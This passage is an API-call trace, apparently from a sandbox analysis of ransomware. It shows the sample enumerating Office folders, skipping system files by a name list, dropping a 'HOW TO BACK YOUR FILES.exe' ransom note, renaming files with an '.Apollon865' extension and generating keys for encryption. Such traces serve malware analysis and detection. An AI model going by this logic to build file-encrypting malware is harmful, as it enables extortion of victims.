	[0045.807] lstrcmpiW (lpString1="Groove", lpString2="ids.txt") returned -1
	[0045.807] lstrcmpiW (lpString1="Groove", lpString2="ntuser.dat") returned -1
	[0045.807] lstrcmpiW (lpString1="Groove", lpString2="perflogs") returned -1
	[0045.807] lstrcmpiW (lpString1="Groove", lpString2="MSBuild") returned -1
	[0045.807] lstrlenW (lpString="Groove") returned 6
	[0045.807] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Office\\14.0") returned 65
	[0045.807] lstrcpyW (in: lpString1=0x2d3e5ca, lpString2="Groove" | out: lpString1="Groove") returned="Groove"
	[0045.807] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fc28
	[0045.807] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x88) returned 0x5b8ce8
	[0045.807] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fc30 | out: ListHead=0x5b76b0, ListEntry=0x59fc30) returned 0x59fc10
	[0045.807] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x335e5790, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x335e5790, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0045.807] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0045.807] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x4bb72310, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x29ae1d20, ftLastAccessTime.dwHighDateTime=0x1d2e626, ftLastWriteTime.dwLowDateTime=0x29ae1d20, ftLastWriteTime.dwHighDateTime=0x1d2e626, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ONetConfig", cAlternateFileName="ONETCO~1")) returned 1
	[0045.807] lstrcmpiW (lpString1="ONetConfig", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0045.807] lstrcmpiW (lpString1="ONetConfig", lpString2="Apollon865.txt.exe") returned 1
	[0045.807] lstrcmpiW (lpString1="ONetConfig", lpString2=".") returned 1
	[0045.807] lstrcmpiW (lpString1="ONetConfig", lpString2="..") returned 1
	[0045.807] lstrcmpiW (lpString1="ONetConfig", lpString2="windows") returned -1
	[0045.807] lstrcmpiW (lpString1="ONetConfig", lpString2="bootmgr") returned 1
	[0045.807] lstrcmpiW (lpString1="ONetConfig", lpString2="temp") returned -1
	[0045.807] lstrcmpiW (lpString1="ONetConfig", lpString2="pagefile.sys") returned -1
	[0045.807] lstrcmpiW (lpString1="ONetConfig", lpString2="boot") returned 1
	[0045.807] lstrcmpiW (lpString1="ONetConfig", lpString2="ids.txt") returned 1
	[0045.807] lstrcmpiW (lpString1="ONetConfig", lpString2="ntuser.dat") returned 1
	[0045.807] lstrcmpiW (lpString1="ONetConfig", lpString2="perflogs") returned -1
	[0045.807] lstrcmpiW (lpString1="ONetConfig", lpString2="MSBuild") returned 1
	[0045.808] lstrlenW (lpString="ONetConfig") returned 10
	[0045.808] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Office\\Groove") returned 67
	[0045.808] lstrcpyW (in: lpString1=0x2d3e5ca, lpString2="ONetConfig" | out: lpString1="ONetConfig") returned="ONetConfig"
	[0045.808] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fc48
	[0045.808] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x90) returned 0x599450
	[0045.808] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fc50 | out: ListHead=0x5b76b0, ListEntry=0x59fc50) returned 0x59fc30
	[0045.808] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x4bb72310, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x29ae1d20, ftLastAccessTime.dwHighDateTime=0x1d2e626, ftLastWriteTime.dwLowDateTime=0x29ae1d20, ftLastWriteTime.dwHighDateTime=0x1d2e626, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ONetConfig", cAlternateFileName="ONETCO~1")) returned 0
	[0045.808] FindClose (in: hFindFile=0x5ca150 | out: hFindFile=0x5ca150) returned 1
	[0045.808] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x59fc50
	[0045.808] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Office\\ONetConfig", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Office\\ONetConfig") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Office\\ONetConfig"
	[0045.808] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x599450 | out: hHeap=0x580000) returned 1
	[0045.808] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fc48 | out: hHeap=0x580000) returned 1
	[0045.808] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Office\\ONetConfig") returned 71
	[0045.808] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Office\\ONetConfig" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Office\\ONetConfig") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Office\\ONetConfig"
	[0045.808] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0045.808] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Office\\ONetConfig\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\office\\onetconfig\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0045.819] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0045.819] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Office\\ONetConfig\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x4bb72310, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x3360b8f0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3360b8f0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca150
	[0045.819] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0045.819] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0045.819] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0045.819] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x4bb72310, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x3360b8f0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3360b8f0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0045.819] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0045.819] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0045.819] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0045.819] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0045.819] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4bd15230, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x29ae1d20, ftLastAccessTime.dwHighDateTime=0x1d2e626, ftLastWriteTime.dwLowDateTime=0x29ae1d20, ftLastWriteTime.dwHighDateTime=0x1d2e626, nFileSizeHigh=0x0, nFileSizeLow=0x80, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="350db95df4cbd94b2a1c300510e12e11.sig", cAlternateFileName="350DB9~1.SIG")) returned 1
	[0045.819] lstrcmpiW (lpString1="350db95df4cbd94b2a1c300510e12e11.sig", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0045.819] lstrcmpiW (lpString1="350db95df4cbd94b2a1c300510e12e11.sig", lpString2="Apollon865.txt.exe") returned -1
	[0045.819] lstrcmpiW (lpString1="350db95df4cbd94b2a1c300510e12e11.sig", lpString2=".") returned 1
	[0045.819] lstrcmpiW (lpString1="350db95df4cbd94b2a1c300510e12e11.sig", lpString2="..") returned 1
	[0045.819] lstrcmpiW (lpString1="350db95df4cbd94b2a1c300510e12e11.sig", lpString2="windows") returned -1
	[0045.819] lstrcmpiW (lpString1="350db95df4cbd94b2a1c300510e12e11.sig", lpString2="bootmgr") returned -1
	[0045.819] lstrcmpiW (lpString1="350db95df4cbd94b2a1c300510e12e11.sig", lpString2="temp") returned -1
	[0045.819] lstrcmpiW (lpString1="350db95df4cbd94b2a1c300510e12e11.sig", lpString2="pagefile.sys") returned -1
	[0045.819] lstrcmpiW (lpString1="350db95df4cbd94b2a1c300510e12e11.sig", lpString2="boot") returned -1
	[0045.819] lstrcmpiW (lpString1="350db95df4cbd94b2a1c300510e12e11.sig", lpString2="ids.txt") returned -1
	[0045.819] lstrcmpiW (lpString1="350db95df4cbd94b2a1c300510e12e11.sig", lpString2="ntuser.dat") returned -1
	[0045.819] lstrcmpiW (lpString1="350db95df4cbd94b2a1c300510e12e11.sig", lpString2="perflogs") returned -1
	[0045.819] lstrcmpiW (lpString1="350db95df4cbd94b2a1c300510e12e11.sig", lpString2="MSBuild") returned -1
	[0045.819] lstrlenW (lpString="350db95df4cbd94b2a1c300510e12e11.sig") returned 36
	[0045.819] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Office\\ONetConfig\\*") returned 73
	[0045.820] lstrcpyW (in: lpString1=0x2d3e5e0, lpString2="350db95df4cbd94b2a1c300510e12e11.sig" | out: lpString1="350db95df4cbd94b2a1c300510e12e11.sig") returned="350db95df4cbd94b2a1c300510e12e11.sig"
	[0045.820] lstrlenW (lpString="350db95df4cbd94b2a1c300510e12e11.sig") returned 36
	[0045.820] lstrlenW (lpString="Apollon865") returned 10
	[0045.820] lstrcmpiW (lpString1="e12e11.sig", lpString2="Apollon865") returned 1
	[0045.820] lstrlenW (lpString=".dll") returned 4
	[0045.820] lstrcmpiW (lpString1="350db95df4cbd94b2a1c300510e12e11.sig", lpString2=".dll") returned 1
	[0045.820] lstrlenW (lpString=".lnk") returned 4
	[0045.820] lstrcmpiW (lpString1="350db95df4cbd94b2a1c300510e12e11.sig", lpString2=".lnk") returned 1
	[0045.820] lstrlenW (lpString=".ini") returned 4
	[0045.820] lstrcmpiW (lpString1="350db95df4cbd94b2a1c300510e12e11.sig", lpString2=".ini") returned 1
	[0045.820] lstrlenW (lpString=".sys") returned 4
	[0045.820] lstrcmpiW (lpString1="350db95df4cbd94b2a1c300510e12e11.sig", lpString2=".sys") returned 1
	[0045.820] lstrlenW (lpString="350db95df4cbd94b2a1c300510e12e11.sig") returned 36
	[0045.820] lstrcpyW (in: lpString1=0x2d3e5e0, lpString2="350db95df4cbd94b2a1c300510e12e11.xml" | out: lpString1="350db95df4cbd94b2a1c300510e12e11.xml") returned="350db95df4cbd94b2a1c300510e12e11.xml"
	[0045.820] lstrlenW (lpString="350db95df4cbd94b2a1c300510e12e11.xml") returned 36
	[0045.820] lstrlenW (lpString="Apollon865") returned 10
	[0045.820] lstrcmpiW (lpString1="e12e11.xml", lpString2="Apollon865") returned 1
	[0045.820] lstrlenW (lpString=".dll") returned 4
	[0045.820] lstrcmpiW (lpString1="350db95df4cbd94b2a1c300510e12e11.xml", lpString2=".dll") returned 1
	[0045.820] lstrlenW (lpString=".lnk") returned 4
	[0045.820] lstrcmpiW (lpString1="350db95df4cbd94b2a1c300510e12e11.xml", lpString2=".lnk") returned 1
	[0045.820] lstrlenW (lpString=".ini") returned 4
	[0045.820] lstrcmpiW (lpString1="350db95df4cbd94b2a1c300510e12e11.xml", lpString2=".ini") returned 1
	[0045.820] lstrlenW (lpString=".sys") returned 4
	[0045.820] lstrcmpiW (lpString1="350db95df4cbd94b2a1c300510e12e11.xml", lpString2=".sys") returned 1
	[0045.820] lstrlenW (lpString="350db95df4cbd94b2a1c300510e12e11.xml") returned 36
	[0045.820] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Office\\ONetConfig\\350db95df4cbd94b2a1c300510e12e11.xml.Apollon865") returned 119
	[0045.820] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Office\\ONetConfig\\350db95df4cbd94b2a1c300510e12e11.xml" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\office\\onetconfig\\350db95df4cbd94b2a1c300510e12e11.xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Office\\ONetConfig\\350db95df4cbd94b2a1c300510e12e11.xml.Apollon865" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\office\\onetconfig\\350db95df4cbd94b2a1c300510e12e11.xml.apollon865"), dwFlags=0x1) returned 1
	[0045.823] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Office\\ONetConfig\\350db95df4cbd94b2a1c300510e12e11.xml.Apollon865" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\office\\onetconfig\\350db95df4cbd94b2a1c300510e12e11.xml.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x15c
	[0045.823] GetFileSizeEx (in: hFile=0x15c, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=2031) returned 1
	[0045.823] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3660020
	[0045.824] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a998
	[0045.824] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf5f0
	[0045.824] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf678) returned 1
	[0045.825] CryptGenRandom (in: hProv=0x5bf678, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0045.825] CryptReleaseContext (hProv=0x5bf678, dwFlags=0x0) returned 1
	[0045.825] CreateFileMappingW (hFile=0x15c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xaf0, lpName=0x0) returned 0x150
	[0045.829] MapViewOfFile (hFileMappingObject=0x150, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xaf0) returned 0x100000
	[0045.831] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf678) returned 1
	[0045.831] CryptGenRandom (in: hProv=0x5bf678, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0045.831] CryptReleaseContext (hProv=0x5bf678, dwFlags=0x0) returned 1
	[0045.832] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59aa88
	[0045.832] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59aa88 | out: hHeap=0x580000) returned 1
	[0045.832] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6560
	[0045.832] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5bacb8
	[0045.832] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6560 | out: hHeap=0x580000) returned 1
	[0045.832] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5baba0
	[0045.832] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x599450
	[0045.832] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5baba0 | out: hHeap=0x580000) returned 1
	[0045.832] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x599450 | out: hHeap=0x580000) returned 1
	[0045.832] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bacb8 | out: hHeap=0x580000) returned 1
	[0045.832] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0045.832] CloseHandle (hObject=0x150) returned 1
	[0045.832] CloseHandle (hObject=0x15c) returned 1
	[0045.832] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a998 | out: hHeap=0x580000) returned 1
	[0045.832] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf5f0 | out: hHeap=0x580000) returned 1
	[0045.832] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3660020 | out: hHeap=0x580000) returned 1
	[0045.833] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3360b8f0, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x3360b8f0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0045.833] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0045.833] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3360b8f0, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x3360b8f0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 0
	[0045.833] FindClose (in: hFindFile=0x5ca150 | out: hFindFile=0x5ca150) returned 1
	[0045.833] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x59fc30
	[0045.833] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Office\\Groove", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Office\\Groove") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Office\\Groove"
	[0045.833] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b8ce8 | out: hHeap=0x580000) returned 1
	[0045.833] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fc28 | out: hHeap=0x580000) returned 1
	[0045.833] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Office\\Groove") returned 67
	[0045.833] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Office\\Groove" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Office\\Groove") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Office\\Groove"
	[0045.833] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0045.833] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Office\\Groove\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\office\\groove\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0045.837] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0045.837] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Office\\Groove\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x4f780d90, ftCreationTime.dwHighDateTime=0x1d2dda2, ftLastAccessTime.dwLowDateTime=0x33657bb0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x33657bb0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca150
	[0045.837] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0045.837] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0045.837] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0045.837] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x4f780d90, ftCreationTime.dwHighDateTime=0x1d2dda2, ftLastAccessTime.dwLowDateTime=0x33657bb0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x33657bb0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0045.837] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0045.837] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0045.837] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0045.837] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0045.837] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x33657bb0, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x33657bb0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0045.837] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0045.837] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x4f780d90, ftCreationTime.dwHighDateTime=0x1d2dda2, ftLastAccessTime.dwLowDateTime=0x4f780d90, ftLastAccessTime.dwHighDateTime=0x1d2dda2, ftLastWriteTime.dwLowDateTime=0x4f780d90, ftLastWriteTime.dwHighDateTime=0x1d2dda2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="System", cAlternateFileName="")) returned 1
	[0045.837] lstrcmpiW (lpString1="System", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0045.837] lstrcmpiW (lpString1="System", lpString2="Apollon865.txt.exe") returned 1
	[0045.837] lstrcmpiW (lpString1="System", lpString2=".") returned 1
	[0045.837] lstrcmpiW (lpString1="System", lpString2="..") returned 1
	[0045.837] lstrcmpiW (lpString1="System", lpString2="windows") returned -1
	[0045.837] lstrcmpiW (lpString1="System", lpString2="bootmgr") returned 1
	[0045.837] lstrcmpiW (lpString1="System", lpString2="temp") returned -1
	[0045.837] lstrcmpiW (lpString1="System", lpString2="pagefile.sys") returned 1
	[0045.837] lstrcmpiW (lpString1="System", lpString2="boot") returned 1
	[0045.838] lstrcmpiW (lpString1="System", lpString2="ids.txt") returned 1
	[0045.838] lstrcmpiW (lpString1="System", lpString2="ntuser.dat") returned 1
	[0045.838] lstrcmpiW (lpString1="System", lpString2="perflogs") returned 1
	[0045.838] lstrcmpiW (lpString1="System", lpString2="MSBuild") returned 1
	[0045.838] lstrlenW (lpString="System") returned 6
	[0045.838] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Office\\Groove\\*") returned 69
	[0045.838] lstrcpyW (in: lpString1=0x2d3e5d8, lpString2="System" | out: lpString1="System") returned="System"
	[0045.838] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fc28
	[0045.838] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x96) returned 0x599450
	[0045.838] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fc30 | out: ListHead=0x5b76b0, ListEntry=0x59fc30) returned 0x59fc10
	[0045.838] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x4f780d90, ftCreationTime.dwHighDateTime=0x1d2dda2, ftLastAccessTime.dwLowDateTime=0x4f780d90, ftLastAccessTime.dwHighDateTime=0x1d2dda2, ftLastWriteTime.dwLowDateTime=0x4f780d90, ftLastWriteTime.dwHighDateTime=0x1d2dda2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="User", cAlternateFileName="")) returned 1
	[0045.838] lstrcmpiW (lpString1="User", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0045.838] lstrcmpiW (lpString1="User", lpString2="Apollon865.txt.exe") returned 1
	[0045.838] lstrcmpiW (lpString1="User", lpString2=".") returned 1
	[0045.838] lstrcmpiW (lpString1="User", lpString2="..") returned 1
	[0045.838] lstrcmpiW (lpString1="User", lpString2="windows") returned -1
	[0045.838] lstrcmpiW (lpString1="User", lpString2="bootmgr") returned 1
	[0045.838] lstrcmpiW (lpString1="User", lpString2="temp") returned 1
	[0045.838] lstrcmpiW (lpString1="User", lpString2="pagefile.sys") returned 1
	[0045.838] lstrcmpiW (lpString1="User", lpString2="boot") returned 1
	[0045.838] lstrcmpiW (lpString1="User", lpString2="ids.txt") returned 1
	[0045.838] lstrcmpiW (lpString1="User", lpString2="ntuser.dat") returned 1
